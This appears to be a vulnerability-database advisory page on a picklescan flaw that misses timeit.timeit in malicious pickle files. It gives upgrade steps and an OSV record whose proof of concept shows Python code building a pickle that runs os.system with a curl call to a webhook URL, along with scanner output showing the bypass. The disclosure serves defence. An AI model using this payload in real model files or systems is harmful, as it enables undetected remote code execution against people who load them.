CVE-2025-71351: Picklescan Picklescan Missing Detection When Calling Vulnerability
MODERATECVE-2025-71351 is a MODERATE picklescan missing detection when calling vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan missing detection when calling built-in python library function timeit.timeit(). Remediation is available by upgrading affected packages to version 0.0.25.
CVE-2025-71351 at a Glance
How to Fix CVE-2025-71351
To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install picklescan>=0.0.25
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show picklescan
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-71351, inspect your installed packages using pip:
pip show picklescan
Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.25), your application is affected.
Note: The pip show picklescan command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-71351 Affected Picklescan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
picklescan
|
PyPI |
< 0.0.25
|
0.0.25
|
References
Frequently Asked Questions
What is CVE-2025-71351?
Which Picklescan versions are affected?
What version fixes CVE-2025-71351?
Is picklescan affected?
What CWE is associated with CVE-2025-71351?
How can I check PyPI dependencies for CVE-2025-71351?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v7x6-rv5q-mhwc",
"modified" : "2026-09-11T19:31:13Z",
"published" : "2025-04-07T19:37:21Z",
"aliases" : [ "CVE-2025-71351" ],
"summary" : "Picklescan missing detection when calling built-in python library function timeit.timeit()",
"details" : "### Summary\nUsing timeit.timeit() function, which is a built-in python library function to execute remote pickle file.\n\n### Details\nPickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method\nThen, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()\n```\nimport pickle\nimport timeit\nclass Payload(object):\n def __reduce__(self):\n return timeit.timeit, ('','import os; os.system(\"curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6\")')\ndef create_payload():\n with open('payload.pickle', 'wb') as f:\n pickle.dump(Payload(), f)\ncreate_payload()\n```\nThen the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()\n2. The victim will use picklescan library to check out if the received pickle file is malicious or not\n```\npicklescan -p payload.pickle\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\n3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)\n```\nimport pickle\ndef load_payload():\n with open('payload.pickle', 'rb') as f:\n pickle.load(f)\nload_payload()\n```\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n### Recommended Solution\nI suggest adding timeit library to the unsafe globals blacklist.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "picklescan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.25"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71351"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/pull/40"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mmaitre314/picklescan"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-timeit-timeit-detection-bypass"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-04-07T19:37:21Z",
"nvd_published_at" : null
}
}